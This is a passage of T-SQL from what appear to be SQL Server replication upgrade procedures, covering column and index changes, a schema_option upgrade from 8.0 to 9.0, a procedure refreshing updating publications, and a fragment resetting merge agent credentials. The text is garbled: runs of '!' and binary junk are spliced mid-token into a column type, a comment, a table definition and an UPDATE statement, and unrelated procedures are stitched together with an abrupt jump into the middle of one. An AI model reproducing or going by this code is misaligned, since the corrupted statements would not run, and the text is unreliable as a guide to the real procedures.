        if exists (select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = N'originator_publication_id' and is_nullable = 0)
        	alter table dbo.MSpeer_lsns alter column originator_publication_id int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = N'originator_db_version' and is_nullable = 0)
        	alter table dbo.MSpeer_lsns alter column originator_db_version int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSpeer_lsns') and name = N'originator_lsn' and is_nullable = 0)
        	alter table dbo.MSpeer_lsns alter column originator_lsn varbinary(16) null

        if not exists (select * from sys.indexes where name = 'nci_MSpeer_lsns' and object_id = object_id('dbo.MSpeer_lsns'))
	begin
		create index nci_MSpeer_lsns on dbo.MSpeer_lsns (originator_publication)
	end 

    end

    --  dbo.MSpeer_request
    if object_id('dbo.MSpeer_request') is not null
    begin
        if exists (select * from sys.columns where object_id = object_id('dbo.MSpeer_request') and name = N'sent_date' and is_nullable = 0)
        	alter table dbo.MSpeer_request alter column sent_date datetime null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSpeer_request') and name = N'description' and is_nullable = 0)
        	alter table dbo.MSpeer_request alter column description nvarchar(4000) null
	end

    --  dbo.MSpeer_response
    if object_id('dbo.MSpeer_response') is not null
    begin
        if exists (select * from sys.columns where object_id = object_id('dbo.MSpeer_response') and name = N'request_id' and is_nullable = 0)
        	alter table dbo.MSpeer_response alter column request_id int null
	end

    --  dbo.MSpeer_topologyrequest
    if object_id('dbo.MSpeer_topologyrequest') is not null
    begin
        if exists (select * from sys.columns where object_id = object_id('dbo.MSpeer_topologyrequest') and name = N'sent_date' and is_nullable = 0)
        	alter table dbo.MSpeer_topologyrequest alter column sent_date datetime null
	end
	
    --  dbo.MSpeer_topologyresponse
    if object_id('dbo.MSpeer_topologyresponse') is not null
    begin
        if exists (select * from sys.columns where object_id = object_id('dbo.MSpeer_topologyresponse') and name = N'request_id' and is_nullable = 0)
        	alter table dbo.MSpeer_topologyresponse alter column request_id int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSpeer_topologyresponse') and name = N'connection_info' and is_nullable = 0)
        	alter table dbo.MSpeer_topologyresponse alter column connection_info xml null
	end

    --  dbo.MSpeer_conflictdetectionconfigresponse
    if object_id('dbo.MSpeer_conflictdetectionconfigresponse') is not null
    begin
        if exists (select * from sys.columns where object_id = object_id('dbo.MSpeer_conflictdetectionconfigresponse') and name = N'modified_date' and is_nullable = 0)
        	alter table dbo.MSpeer_conflictdetectionconfigresponse alter column modified_date datetime null
	end

    -- syspublications
    if object_id('dbo.syspublications', 'U') is not null
    begin
        -- default_access column no longer used
        if exists (select * from sys.columns where object_id = object_id('dbo.syspublications') and
            name = 'default_access')
        begin
            alter table dbo.syspublications drop column default_access
        end 

 	 -- insure index nc3syspublications is there
 	 if exists (select * from sys.indexes where name = 'nc3syspublications' and
 	 	object_id = object_id('dbo.syspublications') )
 	 begin
 		drop index dbo.syspublications.nc3syspublications
 	 end
 	 if exists(select * from sys.columns where object_id = object_id('dbo.syspublications') and name = 'status')
 	 begin
 	 	create index nc3syspublications on syspublications(status)
 	 end
		
        /* 
         * Since the ftp_address is now required to enable a publication for internet, publications 
         * that were enabled for internet can not be upgraded automatically. So the enabled for 
         * internet option is reset in the upgrade process. New FTP columns added later in script. (Sphinx -> Shiloh)
        */
        if exists (select * from sys.columns where object_id = object_id('syspublications') and 
           name = 'enabled_for_internet')
        begin
            if not exists (select * from sys.columns where object_id = object_id('syspublications') and name = 'ftp_address')
            begin
                update dbo.syspublications 
                   set enabled_for_internet = 0 
            end
            else
            begin
                exec('update dbo.syspublications set enabled_for_internet = 0 where ftp_address is null')    
            end
        end           

        declare colcurs cursor LOCAL FAST_FORWARD 
        for (select col_name, col_type from (select col_name = 'allow_queued_tran', col_type = 'bit default!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(x-vb 0 not null' --Queued updating subscriptions option; conflict management settings added later in this proc
                                                             union all 
                                                             select col_name = 'snapshot_in_defaultfolder', col_type = 'bit default 1 not null' --Portable snapshot
                                                             union all 
                                                             select col_name = 'alt_snapshot_folder', col_type = 'nvarchar(255) null'
                                                             union all 
                                                             select col_name = 'pre_snapshot_script', col_type = 'nvarchar(255) null' -- Pre-snapshot commands
                                                             union all
                                                             select col_name = 'post_snapshot_script', col_type = 'nvarchar(255) null' -- Post-snapshot commands
                                                             union all
                                                             select col_name = 'compress_snapshot', col_type = 'bit default 0 not null' -- Snapshot compression
                                                             union all
                                                             select col_name = 'ftp_address', col_type = 'sysname null' -- Post SQL7.0 FTP configuration stored at publisher
                                                             union all
                                                             select col_name = 'ftp_port', col_type = 'int not null default 21'
                                                             union all
                                                             select col_name = 'ftp_subdirectory', col_type = 'nvarchar(255) null'
                                                             union all
                                                             select col_name = 'ftp_login', col_type = 'sysname null default N''anonymous'''
                                                             union all
                                                             select col_name = 'ftp_password', col_type = 'nvarchar(524) null'
                                                             union all
                                                             select col_name = 'allow_dts', col_type = 'bit default 0 not null' --Transformable subscriptions
                                                             union all
                                                             select col_name = 'allow_subscription_copy', col_type = 'bit default 0 not null' -- Attach & Go
                                                             union all
                                                             select col_name = 'queue_type', col_type = 'int NULL'
                                                             union all
                                                             select col_name = 'centralized_conflicts', col_type = 'bit NULL' -- Transactional conflict management
                                                             union all
                                                             select col_name = 'conflict_retention', col_type = 'int NULL'
                                                             union all
                                                             select col_name = 'conflict_policy', col_type = 'int NULL'
                                                             union all
                                                             select col_name = 'ad_guidname', col_type = 'sysname null' -- Active Directory
                                                             union all
                                                             select col_name = 'min_autonosync_lsn', col_type = 'binary(10) NULL' -- 
                                                             union all
                                                             select col_name = 'replicate_ddl', col_type = 'int null default 1' -- DDL 
                                                            ) as t1                                                             
               left outer join
               sys.columns as t2
               on (t1.col_name = t2.name and t2.object_id = object_id('dbo.syspublications', 'U'))
               where t2.name is null) --This query gives all the columns in t1 that are not in syscolums
        for read only
        open colcurs
        fetch colcurs into @column_name, @column_type
        if (@@fetch_status <> -1)
        begin
            select @alter_cmd = 'alter table dbo.syspublications add ' + @column_name + ' ' + @column_type
            fetch colcurs into @column_name, @column_type
            while(@@fetch_status <> -1)
            begin
                select @alter_cmd = @alter_cmd + ', ' + @column_name + ' ' + @column_type
                fetch colcurs into @column_name, @column_type
            end
            exec (@alter_cmd)
            if @@error <> 0 return 1
        end
        close colcurs
        deallocate colcurs
        
        if exists (select * from sys.columns where object_id = object_id('dbo.syspublications') and name = N'replicate_ddl' and is_nullable = 0)
        	alter table dbo.syspublications alter column replicate_ddl int null

        --
        -- The following code for upgrading schema options is applicable 
        -- to 8.0->9.0 upgrade only, and it is needed because of subtle
        -- differences between how index-related schema options are interpreted
        -- between these two releases. 7.0's interpretation of index-related 
        -- schema options is actually quite close to the 9.0 interpretation so 
        -- there is no need to modify existing 7.0 schema options. The
        -- means for detecting an 8.0->9.0 upgrade is by checking for the 
        -- presence of the backward_comp_level column and the absence of 
        -- the allow_initialize_from_backup colum in syspublications
        --
        -- The differences between how index-related schema options are
        -- interpreted in 8.0 and 9.0 are as follow:
        -- When the 0x10 (clustered index) and 0x40 (non-clustered indexes) 
        -- options are specified in 8.0, only "pure" clustered and non-
        -- clustered indexes not created for backing primary key or unique 
        -- constraints are replicated, indexes for primary key and unique 
        -- constraints are included only if the 0x80 (primary key) and 0x4000 
        -- (unique constraint) options are specified respectively. There is 
        -- also this special consideration of always implicitly including the 
        -- 0x80 (primary key) option for transactional (not snapshot) 
        -- publications even if the option is unspecified. Once either 0x80 
        -- and/or 0x4000 are included, the 0x8000 (replicate primary key and 
        -- unique constraints as contraints rather than just indexes) can be 
        -- used to decide whether the included primary key or unique 
        -- contraints are replicated as pure indexes or constraints.   
        -- For 9.0 publications, specifying the 0x10 and 0x40 options will 
        -- cause all the clustered and non-clustered indexes including those 
        -- for backing primary key or unique constraints to be replicated 
        -- as "create index" statements at least. If the 0x80 and/or 0x4000 
        -- options are specified, the primary key and/or unique constraints
        -- will be replicated as contraints respectively regardless of whether
        -- the underlying index type (clustered or non-clustered) are covered
        -- by the 0x10 and 0x40 options. In a way, the 0x80 and 0x4000 options 
        -- can also be seen as modifiers of k!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(+Gvbey constraint indexes covered by
        -- 0x10 and 0x40 that "upgrade" those "pure indexes" to "full-fledged 
        -- constraints" thereby providing a more flexible mechanism than
        -- the 0x8000 option in 8.0. Thus, the 0x8000 option will be 
        -- deprecated in 9.0. In 9.0, it is also possible to completely 
        -- disable the primary key for read-only (i.e. non-synctran, non-
        -- queued) publications by not specifying the 0x40 option as well as 
        -- the option (0x10 or 0x40) specifying the underlying index type 
        -- (clustered or non-clustered) of the primary key.
        --
        -- Based on the above description of how interpretation of 
        -- index-related schema options differs from 8.0 to 9.0, here
        -- is the plan for upgrading the schema options from 8.0 to 9.0 which
        -- tries preserve the old behavior as much as possible. There are
        -- two main cases to consider:
        -- i) The 0x8000 option was not specified - This leads to the 
        --    following two sub-cases:
        --    a) At least one of 0x80 or 0x4000 was specified - Under the 9.0
        --       interpretation, these will cause the primary key and\or the 
        --       unique constraints to be replicated as constraints rather than
        --       indexes which is inapproprate because the 0x8000 option is 
        --       explicitly disabled. The best way to upgrade this class of 
        --       schema options is to force enable both 0x10 and 0x40 to 
        --       ensure that the underlying index(es) for the primary key and
        --       unique constraints are replicated. This is actually what
        --       happened in the 8.0 snapshot agent so there is essentially
        --       no change in behavior.
        --    b) Neither 0x80 nor 0x4000 was specified - The only 
        --       issue of concern with this class of schema options is that
        --       the 0x10 and 0x40 options now covers a broader range of 
        --       indexes. As such, it not necessary to change these schema 
        --       options during upgrade.
        -- ii) The 0x8000 option was specified - In this case, at least 
        --     one of 0x80 or 0x4000 is probably specified. Under the 9.0 
        --     interpretation, mere inclusion of 0x80 and 0x4000 will cause 
        --     the corresponding primary key and unique constraints to be 
        --     replicated as constraints anyway so the only thing that needs
        --     to be done is to disable the 0x8000 option during upgrade.
        --     Note that broader interpretation of 0x10 and 0x40 in 9.0 will 
        --     also cause a broader range of indexes to be included with
        --     this class of schema options.
        -- 
        
        --
        -- Use transaction encompassing the addition of the 
        -- backward_comp_level and the allow_initialize_from_backup columns to
        -- syspublications to ensure that schema_option upgrade is done at 
        -- most once even in failure scenarios.
        --
        begin transaction             
        save transaction schema_options_upgrade 
        if object_id('dbo.sysarticles', 'U') is not null and
           exists (select * from sys.columns where object_id = object_id('dbo.syspublications') and name = 'backward_comp_level') and
           not exists (select * from sys.columns where object_id = object_id('dbo.syspublications') and name = 'allow_initialize_from_backup')
        begin
            update dbo.sysarticles
               set schema_option = case 
                    when (sys.fn_replgetbinary8lodword(schema_option) & 0x8000) = 0 and (sys.fn_replgetbinary8lodword(schema_option) & 0x4080) <> 0 then sys.fn_replcombinehilodwordintobinary8(sys.fn_replgetbinary8hidword(schema_option),sys.fn_replgetbinary8lodword(schema_option) | 0x50 & ~convert(int, 0x4080)) -- i)a)
                    when (sys.fn_replgetbinary8lodword(schema_option) & 0x8000) <> 0 then sys.fn_replcombinehilodwordintobinary8(sys.fn_replgetbinary8hidword(schema_option),sys.fn_replgetbinary8lodword(schema_option) & ~convert(int, 0x8000)) -- ii)
                    else schema_option
                end
            if @@error <> 0
            begin
                if @@trancount > 0
                begin
                    rollback transaction schema_options_upgrade
                    commit transaction
                end
                return 1
            end
        end

        if not exists (select * from sys.columns where object_id = object_id('dbo.syspublications') and 
            name = 'backward_comp_level')
        begin
            alter table dbo.syspublications add backward_comp_level int default 10 not null
            if @@error <> 0
            begin
                if @@trancount > 0
                begin
                    rollback transaction schema_options_upgrade
                    commit transaction
                end
                return 1
            end
        end

        /*
         * Transactional replication automated nosync subscription setup 
         * support
         */
        if not exists (select * from sys.columns where object_id = object_id('dbo.syspublications') and 
            name = 'allow_initialize_from_backup')
        begin
            alter table dbo.syspublications add allow_initialize_from_backup bit default 0 not null
            if @@error <> 0
            begin
                if @@trancount > 0
                begin
                    rollback transaction schema_options_upgrade
                    commit transaction
                end
                return 1
            end
        end


        /*
         * Revoke public select permission from synchronization views
         */
        declare @synchronization_object_name nvarchar(517)
        declare #syncobject_name cursor local fast_forward for 
            select quotename(schema_name(so.schema_id)) + N'.' + quotename(so.name) 
              from sysarticles sa
            inner join sys.objects so
                on sa.sync_objid = so.object_id
             where (sa.type & 0x05) = 0x01 -- Must be logbased article with an automatically generated view
               and rtrim(so.type) = 'V'
        open #syncobject_name

        fetch #syncobject_name into @synchronization_object_name
        while (@@fetch_status <> -1)
        begin
            exec (N'revoke select on ' + @synchronization_object_name + N' from public')  
            fetch #syncobject_name into @synchronization_object_name
        end
        close #syncobject_name
        deallocate #syncobject_name
        commit transaction 

        /*
         * Publication options
         */
        if not exists (select * from sys.columns where object_id = object_id('dbo.syspublications') and
            name = 'options')
        begin
            exec ('alter table dbo.syspublications add options int default 0 not null')

            /*
             * Set enabled for het sub bit in options column if sync_method = 1
             */
            exec ('update dbo.syspublications set options = 0x4 where sync_method = 1')
        end
        /*
         * Schema only articles (views, procs, udfs)
        */
        if object_id(N'dbo.sysschemaarticles') is null
        begin
            -- table does not exist
            create table dbo.sysschemaarticles
            (
                artid               int                 NOT NULL,
                creation_script     nvarchar(255)       NULL,
                description         nvarchar(255)       NULL,
                dest_object         sysname             NOT NULL,
                name                sysname             NOT NULL,
                objid               int                 NOT NULL,
                pubid               int                 NOT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(#_vb NULL,
                pre_creation_cmd    tinyint             NOT NULL,
                status              int                 NOT NULL,
                type                tinyint             NOT NULL,
                schema_option       binary(8)           NULL,
                dest_owner          sysname             NULL
            )
            exec dbo.sp_MS_marksystemobject N'sysschemaarticles'

            if not exists (select * from sys.indexes where object_id = object_id(N'dbo.sysschemaarticles') and name = N'c1sysschemaarticles')
            begin
                create unique clustered index c1sysschemaarticles
                    on dbo.sysschemaarticles(artid, pubid)
            end  
        end
        else
        begin
            -- table exists - upgrade indices
            if exists (select * from sys.indexes where object_id = object_id(N'dbo.sysschemaarticles') and name = N'unc1sysschemaarticles' )
            begin
                drop index dbo.sysschemaarticles.unc1sysschemaarticles
            end
            if not exists (select * from sys.indexes where object_id = object_id(N'dbo.sysschemaarticles') and name = N'c1sysschemaarticles' )
            begin
                create unique clustered index c1sysschemaarticles on dbo.sysschemaarticles (artid, pubid)
            end
        end

        if exists (select * from sys.objects where name = 'sysextendedarticlesview')
        begin
            drop view dbo.sysextendedarticlesview
        end

        -- cannot create view directly in stored procedure          
        exec ( 'create view dbo.sysextendedarticlesview
                   as
                    select artid, creation_script, del_cmd, description,
                                dest_table, filter, filter_clause, ins_cmd, name, objid, pubid,
                                pre_creation_cmd, status, sync_objid, type, upd_cmd,
                                schema_option, dest_owner, ins_scripting_proc, del_scripting_proc,
                                upd_scripting_proc, custom_script, fire_triggers_on_snapshot 
                            from sysarticles

                    union all

                    select artid, creation_script, NULL, description,
                            dest_object, NULL, NULL, NULL, name, objid, pubid, 
                            pre_creation_cmd, status, NULL, type, NULL, 
                            schema_option, dest_owner, NULL, NULL, NULL, NULL, 0
                        from sysschemaarticles')

        exec dbo.sp_MS_marksystemobject 'sysextendedarticlesview'

        exec sys.sp_vupgrade_syscol_status

    end
    -- sysarticleupdates
    if object_id('sysarticleupdates') is not null
    begin
        declare #colcurs cursor LOCAL FAST_FORWARD 
        for (select col_name, col_type from (select col_name = 'sync_upd_trig', col_type = 'int default 0 NOT NULL'
                                                             union all
                                                             select col_name = 'conflict_tableid', col_type = 'int NULL'
                                                             union all
                                                             select col_name = 'ins_conflict_proc', col_type = 'int NULL'
                                                             union all
                                                             select col_name = 'identity_support', col_type = 'bit default 0 NOT NULL'
                                                             ) as t1                                                             
               left outer join
               sys.columns as t2
               on (t1.col_name = t2.name and t2.object_id = object_id('dbo.sysarticleupdates', 'U'))
               where t2.name is null) --This query gives all the columns in t1 that are not in syscolums
        for read only
        open #colcurs
        fetch #colcurs into @column_name, @column_type
        if (@@fetch_status <> -1)
        begin
            select @alter_cmd = 'alter table dbo.sysarticleupdates add ' + @column_name + ' ' + @column_type
            fetch #colcurs into @column_name, @column_type
            while(@@fetch_status <> -1)
            begin
                select @alter_cmd = @alter_cmd + ', ' + @column_name + ' ' + @column_type
                fetch #colcurs into @column_name, @column_type
            end
            exec (@alter_cmd)
            if @@error <> 0 return 1
        end
        close #colcurs
        deallocate #colcurs
        --
        -- remove the default for column sync_upd_trig
        --
        select @column_name = NULL
        select @column_name = dc.name 
        from sys.default_constraints as dc 
            join sys.columns as c
                on dc.parent_object_id = c.object_id
                    and dc.parent_column_id = c.column_id
        where c.object_id = object_id('dbo.sysarticleupdates')
            and c.name = N'sync_upd_trig'
        if (@column_name is not null)
        begin
            select @alter_cmd = N'alter table dbo.sysarticleupdates drop constraint ' + sys.fn_replreplacesinglequote(quotename(@column_name))
            exec(@alter_cmd)
            if @@error <> 0 
                return 1
        end
    end

    -- Upgrade dbt->distbackuplsn
    -- Make sure the upgrade is done for 8.0 Beta 2 customers.
    -- no need to do this if called during restoration of sql70 backup
    -- so to avoid sp_repldone error out with 18757, 
    -- master..sysdatbases.category is bound to be 0 when 70 db is restored into 80 
    -- since 70 dbtable did not have this field
    if exists (select * from sys.objects where name = 'sysarticles') and
        not exists (select * from sys.objects where name = 'systranschemas') and 
            exists( select * from master..sysdatabases 
                        where dbid = db_id() and category & 1 = 1)
		--if cdc is still enabled, don't call sp_repldone
		AND not exists(select * from sys.databases where db_id() = database_id and is_cdc_enabled = 1)
    begin
        -- Force to get in even if the logreader is running.
        exec sys.sp_replflush 
        exec sys.sp_repldone @xactid = NULL, @xact_segno = NULL, @numtrans = 0,
            @time = 0, @reset = 0, @code = 1
        -- Unmark the connection as the logreader.
        exec sys.sp_replflush
    end

    -- Create new tran tables if the db is enabled for tran publishing.
    if exists (select name from sys.objects where name='syspublications')
    begin
        exec sys.sp_MScreate_pub_tables
    end

    /*
     * syspublications
    */
    if object_id('syspublications', 'U') is not null
    begin
        if not exists (select * from sys.columns where object_id = Object_Id('syspublications') and name = 'ftp_password' and max_length = '1048')
        begin
            /*
             * syspublications ftp_password
             * no need to upgrade passwords since this column is new in 8.0.
            */
            declare @cmptlevel tinyint
            select @cmptlevel = cmptlevel from master.dbo.sysdatabases where dbid = db_id()
            if @cmptlevel < 70
            begin
                                raiserror (15048, -1, -1, 70, 70, 70, 80)
            end
            else
            begin
                exec( 'alter table syspublications alter column ftp_password nvarchar(524)' )
            end
        end

        --create originator_id column if it does not exist
        if not exists (select * from sys.columns where object_id = object_id('syspublications') and name = 'originator_id')
        begin
            alter table syspublications add originator_id int NULL
        end

        -- change non-clustered index on syspublications.pubid to clustered 
        -- index
        if exists( select * from sys.indexes where nam!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<*+	tbh>8^}0y!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(;R8vU`create procedure sys.sp_vupgrade_updatingpublicationarticle
as
begin
    declare @retcode int
                ,@artid int
                ,@schema_option varbinary(8)
                ,@objid int
                ,@pubname sysname
                ,@queue_type int
                ,@artname sysname
                ,@distributor sysname
                ,@rpcsrvname sysname
                ,@distribdb sysname
                ,@fisdbpublished bit
                ,@dbname sysname
                ,@distproc nvarchar(517)
                ,@publishingservername sysname
                ,@allow_queued_tran int

    --
    -- Do we have any publications to process
    --
    if not exists (select * from syspublications where allow_sync_tran = 1 or allow_queued_tran = 1)
        return 0
    --
    -- check if this db is set for tran publish
    -- no need to do refresh if not published
    --
    select @fisdbpublished = case when (sys.fn_MSrepl_istranpublished(db_name(),0) = 1) then 1 else 0 end
    --
    -- Check if we have distributor
    -- If we cannot locate the distributor
    -- no point in refreshing the subscriptions
    --
    begin try
        exec @retcode = sys.sp_MSrepl_getdistributorinfo @distributor = @distributor OUTPUT
                        ,@rpcsrvname = @rpcsrvname OUTPUT
                        ,@distribdb = @distribdb OUTPUT
        if @@error != 0 or @retcode != 0 
            select @distributor = null
    end try
    begin catch
        --
        -- There was some exception in sp_MSrepl_getdistributorinfo
        -- treat it as error
        --
        select @distributor = null
    end catch
    --
    -- Enumerate the updating publications
    --
    begin tran 
    save transaction updating_pub_upgrade
    
    declare #hcurarticles CURSOR LOCAL FAST_FORWARD FOR
        select a.artid, a.schema_option, a.objid, a.name, p.name, p.queue_type, p.allow_queued_tran
        from sysarticles as a join syspublications as p 
            on a.pubid = p.pubid
            and objectproperty(a.objid, 'IsTable') = 1
            and (p.allow_sync_tran = 1 or p.allow_queued_tran = 1)
    open #hcurarticles 
    fetch #hcurarticles into @artid, @schema_option, @objid, @artname, @pubname, @queue_type, @allow_queued_tran
    while @@fetch_status <> -1
    begin
        --
        -- Does version column exist
        --
        if not exists (select * from sys.columns where object_id = @objid and name = 'msrepl_tran_version')
        begin
            --
            -- this is SQL 7.0 immediate updating article
            -- no need to do anything for this (same behavior as SQL2000 upgrade)
            -- skip this article
            --
            fetch #hcurarticles into @artid, @schema_option, @objid, @artname, @pubname, @queue_type, @allow_queued_tran
            continue
        end
        --
        -- Identity specific processing
        --
        if objectproperty(@objid, 'tablehasidentity') = 1 and (@allow_queued_tran = 1 or 
        			exists (select name from sys.columns
                                where object_id = @objid and
                                    ColumnProperty(object_id, name, N'IsIdNotForRepl') = 1))
        begin
            --
            -- set the schema bit 0x4
            --
            select @schema_option = fn_replprepadbinary8(cast(@schema_option as bigint) | 0x4)
            update sysarticles set schema_option = @schema_option where artid = @artid
            if (@@error != 0)
                goto error
        end
        --
        -- generated metadata refresh
        --
        if (@fisdbpublished = 1)
        begin
            --
            -- Is this an MSMQ publication - convert it into SQL queue
            --
            if (@queue_type = 1)
            begin
                --
                -- refresh the data on publisher only
                --
                update syspublications set queue_type = 2 where name = @pubname
                if (@@error != 0)
                    goto error
                if (@distributor IS NOT NULL)
                begin
                    --
                    -- distributor is registered - refresh the metadata on distributor
                    --
                    select @dbname =  DB_NAME()
                            ,@distproc = QUOTENAME(@rpcsrvname) + N'.' + QUOTENAME(@distribdb) + 
                                            N'.dbo.sp_MSchange_publication'
                            ,@publishingservername = publishingservername()

                    begin try
                        exec @retcode = @distproc
                                            @publisher = @publishingservername,
                                            @publisher_db = @dbname,
                                            @publication = @pubname,
                                            @property = N'queue_type',
                                            @value = '2'
                        if @@error != 0 or @retcode != 0 
                            goto error
                    end try
                    begin catch
                        --
                        -- There was some exception in rpc execution
                        -- treat it as warning
                        --
                        raiserror(21542, 10, 1, @@error, @distproc)
                    end catch
                end
            end
            --
            -- refresh the synctran procedures
            --
            exec @retcode = sys.sp_articlesynctranprocs @publication = @pubname, @article = @artname
            if @@error != 0 or @retcode != 0 
                goto error
            --
            -- Refresh subscription if we can
            --
            if (@distributor IS NOT NULL)
            begin
                --
                -- Are there active subscriptions to this article
                --
                if exists (select p.pubid from dbo.syspublications p join dbo.sysarticles a on a.pubid = p.pubid 
                                    join dbo.syssubscriptions s on a.artid = s.artid
                            where a.artid = @artid
                                and (p.allow_queued_tran = 1 or p.allow_sync_tran = 1)
                                and s.status = 2  -- active
                                and s.sync_type != 2 -- not 'none'
                                and s.update_mode != 0 )
                begin
                    if (@queue_type = 1)
                    begin
                        --
                        -- For MSMQ type publications, convert the update mode in syssubscriptions
                        -- Note: MSsubscriptions in distribution db get updated during the processing
                        -- of sp_MSchange_publication (which gets invoked above)
                        --
                        update dbo.syssubscriptions 
                        set update_mode = case 
                                when (update_mode = 2) then 4 
                                when (update_mode = 3) then 5
                                when (update_mode = 7) then 6
                                else update_mode
                        end
                        where artid = @artid
                        if (@@error != 0)
                            goto error
                        --
                        -- post command to refresh subscriber update mode
                        --
                        exec @retcode = sys.sp_scriptupdmoderefresh @artid = @artid
                        if @@error != 0 or @retcode != 0 
                            goto error
                    end
                    
                    -- if the article's update command uses CALL syntax, change it to VCALL
                    update dbo.sysarticles
                        se!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<UOU`t upd_cmd = N'VCALL' + right(ltrim(upd_cmd), len(ltrim(upd_cmd)) - 4)
                        where artid = @artid and upper(left(ltrim(upd_cmd), 4)) = N'CALL'

                    -- this is necessary for upgrading from sql2000 since we changed logreader in yukon to 
                    -- always send del/ins if unique column was updated and updatable subscriptions are involved
                    -- regardless of update being setbased or not, according to Kaushik this greatly simplifies 
                    -- compensation logic in sync procs,
                    --
                    -- anyway, calling sp_MSsetfilteredstatus updates sys.tables.has_replication_filter as needed
                    --
                    exec sys.sp_MSsetfilteredstatus @objid
                    --
                    -- post commands to refresh metadata on subscriber
                    --
                    exec @retcode = sys.sp_MStran_autoproc @artid = @artid, @mode = 2
                    if @@error != 0 or @retcode != 0 
                        goto error
                end -- if active subscriptions
            end -- if valid distributor
        end -- if db is published
        --
        -- fetch next article
        --
        fetch #hcurarticles into @artid, @schema_option, @objid, @artname, @pubname, @queue_type, @allow_queued_tran
    end    
    close #hcurarticles 
    deallocate #hcurarticles 
    --
    -- all done
    --
    commit tran
    return 0
        
error:
    if @@trancount > 0
    begin
        rollback transaction updating_pub_upgrade
        commit transaction
    end
    return 1
end
NNlogin = login,
							@subscriber_password = password
					FROM MSsubscriber_info 
					WHERE UPPER(publisher) = UPPER(@publisher) 
						AND UPPER(subscriber) = UPPER(@subscriber)
				END
			END
			
			-- at this point if security_mode is NULL or 1 set the values
			IF @subscriber_security_mode IS NULL
				OR @subscriber_security_mode = 1
			BEGIN
				SELECT @subscriber_security_mode = 1,
						@subscriber_login = N'',
						@subscriber_password = @junk_password
			END
			
			/*
			 * Remove/Update command-line parameters
			 */

			-- remove the publisher login parameters from the command-line
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherSecurityMode')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherLogin')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherPassword')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherEncryptedPassword')

			-- remove the subscriber login parameters from the command-line
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'SubscriberSecurityMode')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'SubscriberLogin')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'SubscriberPassword')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'SubscriberEncryptedPassword')
		
			-- remove the distributor login parameters from the command-line
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorLogin')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorPassword')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorEncryptedPassword')

			-- ensure that the DistributorSecurityMode on command-line is 1
			SELECT @command_line = sys.fn_updateparameterwithargument(@command_line, N'DistributorSecurityMode', N'1')

			/*
			 * Update meta-data table and jobstep command-line
			 */
			
			UPDATE MSmerge_agents
				SET publisher_security_mode = @publisher_security_mode,
					publisher_login = @publisher_login,
					publisher_password = @publisher_password,
					subscriber_security_mode = @subscriber_security_mode,
					subscriber_login = @subscriber_login,
					subscriber_password = @subscriber_password,
					job_step_uid = @job_step_uid
				WHERE id = @agent_id

			UPDATE msdb.dbo.sysjobsteps
				SET command = @command_line,
					database_name = DB_NAME()
				WHERE job_id = @job_id
					AND (step_uid = @job_step_uid
						OR step_id = @job_step_id)

			FETCH cursorMergeAgents into @agent_id, @publisher, @subscriber, @job_id, @job_step_id, @job_step_uid, @command_line
		END
		
		CLOSE cursorMergeAgents
		DEALLOCATE cursorMergeAgents
	END
	
	COMMIT TRANSACTION tr_upgrade_distdb

	RETURN 0
UNDO:
	ROLLBACK TRANSACTION tr_upgrade_distdb
	COMMIT TRANSACTION 

	RETURN 1
END
